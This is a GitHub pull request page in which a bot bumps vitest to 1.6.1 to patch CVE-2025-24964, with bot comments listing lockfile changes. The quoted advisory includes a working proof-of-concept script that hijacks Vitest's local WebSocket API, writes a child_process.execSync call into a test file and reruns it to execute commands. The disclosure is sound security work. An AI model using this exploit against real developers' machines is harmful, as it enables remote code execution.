Skip to content

Conversation

renovate[bot]
Copy link

@renovate renovate bot commented Feb 6, 2025

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 1.6.0 -> 1.6.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link

changeset-bot bot commented Feb 6, 2025

⚠️ No Changeset found

Latest commit: 0d2434b

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

Copy link

sourcery-ai bot commented Feb 6, 2025

Reviewer's Guide by Sourcery

This PR updates the vitest dependency from version 1.6.0 to 1.6.1 to address a security vulnerability (CVE-2025-24964) that allows for arbitrary remote code execution. The vulnerability stems from a cross-site WebSocket hijacking (CSWSH) attack when the api option is enabled.

Sequence diagram showing the security vulnerability in Vitest 1.6.0

sequenceDiagram
    actor Attacker
    participant MW as Malicious Website
    participant WS as Vitest WebSocket Server
    participant FS as File System

    Note over WS: No Origin check or authorization

    Attacker->>MW: Visits malicious website
    MW->>WS: Connect to ws://localhost:51204/__vitest_api__
    WS-->>MW: Connection accepted (vulnerable)
    MW->>WS: saveTestFile API call
    Note right of WS: Injects malicious code
    WS->>FS: Write malicious test file
    MW->>WS: rerun API call
    WS->>FS: Execute test file
    Note right of FS: Arbitrary code execution
Loading

Sequence diagram showing the fixed behavior in Vitest 1.6.1

sequenceDiagram
    actor Attacker
    participant MW as Malicious Website
    participant WS as Vitest WebSocket Server
    participant FS as File System

    Note over WS: With Origin check and authorization

    Attacker->>MW: Visits malicious website
    MW->>WS: Connect to ws://localhost:51204/__vitest_api__
    WS-->>MW: Connection rejected (fixed)
    Note right of WS: CSWSH attack prevented
Loading

File-Level Changes

Change Details Files
Updated vitest dependency to address CVE-2025-24964.
  • Updated vitest version from 1.6.0 to 1.6.1.
  • Updated @vitest/coverage-v8 version from 1.6.0(vitest@1.6.0) to 1.6.0(vitest@1.6.1).
  • Updated picocolors dependency from 1.0.0 to 1.1.1.
  • Updated esbuild dependencies from 0.20.2 to 0.21.5.
  • Updated @jridgewell/sourcemap-codec from 1.4.15 to 1.5.0
  • Updated acorn from 8.11.3 to 8.14.0
  • Updated chai from 4.4.1 to 4.5.0
  • Updated deep-eql from 4.1.3 to 4.1.4
  • Updated type-detect from 4.0.8 to 4.1.0
  • Updated debug from 4.3.4 to 4.4.0
  • Updated local-pkg from 0.5.0 to 0.5.1
  • Updated mlly from 1.7.0 to 1.7.4
  • Updated pkg-types from 1.1.0 to 1.3.1
  • Updated pathe from 1.1.2 to 2.0.2
  • Updated rollup from 4.17.2 to 4.34.4
  • Updated std-env from 3.7.0 to 3.8.0
  • Updated strip-literal from 2.1.0 to 2.1.1
  • Updated vite from 5.2.11 to 5.4.14
  • Updated vite-node from 1.6.0 to 1.6.1
  • Updated why-is-node-running from 2.2.2 to 2.3.0
pnpm-lock.yaml

Tips and commands

Interacting with Sourcery

  • Trigger a new review: Comment @sourcery-ai review on the pull request.
  • Continue discussions: Reply directly to Sourcery's review comments.
  • Generate a GitHub issue from a review comment: Ask Sourcery to create an
    issue from a review comment by replying to it. You can also reply to a
    review comment with @sourcery-ai issue to create an issue from it.
  • Generate a pull request title: Write @sourcery-ai anywhere in the pull
    request title to generate a title at any time. You can also comment
    @sourcery-ai title on the pull request to (re-)generate the title at any time.
  • Generate a pull request summary: Write @sourcery-ai summary anywhere in
    the pull request body to generate a PR summary at any time exactly where you
    want it. You can also comment @sourcery-ai summary on the pull request to
    (re-)generate the summary at any time.
  • Generate reviewer's guide: Comment @sourcery-ai guide on the pull
    request to (re-)generate the reviewer's guide at any time.
  • Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
    pull request to resolve all Sourcery comments. Useful if you've already
    addressed all the comments and don't want to see them anymore.
  • Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
    request to dismiss all existing Sourcery reviews. Especially useful if you
    want to start fresh with a new review - don't forget to comment
    @sourcery-ai review to trigger a new review!
  • Generate a plan of action for an issue: Comment @sourcery-ai plan on
    an issue to generate a plan of action for it.

Customizing Your Experience

Access your dashboard to:

  • Enable or disable review features such as the Sourcery-generated pull request
    summary, the reviewer's guide, and others.
  • Change the review language.
  • Add, remove or edit custom review instructions.
  • Adjust other review settings.

Getting Help

Copy link

@sourcery-ai sourcery-ai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have skipped reviewing this pull request. It seems to have been created by a bot (hey, renovate[bot]!). We assume it knows what it's doing!

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from dbabb9b to 768b68c Compare February 9, 2025 12:11
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 768b68c to 6344bd6 Compare March 4, 2025 23:54
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 461b5da to fe3ebe1 Compare March 18, 2025 23:41
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 8f154c4 to d77e1ea Compare April 8, 2025 23:49
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from d77e1ea to 1257858 Compare April 27, 2025 04:09
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 91543dd to cca6e73 Compare May 31, 2025 15:51
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from cca6e73 to 1354085 Compare June 6, 2025 15:44
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 1354085 to d7599ee Compare June 29, 2025 16:08
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from d7599ee to e1dbad4 Compare July 6, 2025 23:59
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from b8db4b2 to 4a5f834 Compare August 15, 2025 07:47
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 4a5f834 to d40fb62 Compare August 23, 2025 07:05
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from d40fb62 to 0d2434b Compare September 1, 2025 05:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants